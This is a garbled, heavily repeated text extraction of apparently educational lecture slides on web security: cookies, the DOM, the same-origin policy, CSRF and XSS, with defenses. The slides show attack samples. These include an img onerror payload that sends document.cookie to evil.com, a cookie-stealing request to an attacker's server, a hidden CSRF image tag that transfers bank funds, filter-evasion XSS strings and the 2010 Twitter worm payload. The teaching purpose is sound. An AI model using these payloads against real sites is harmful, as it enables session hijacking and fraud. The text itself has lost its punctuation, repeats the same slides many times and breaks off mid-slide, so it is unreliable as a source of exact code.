26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

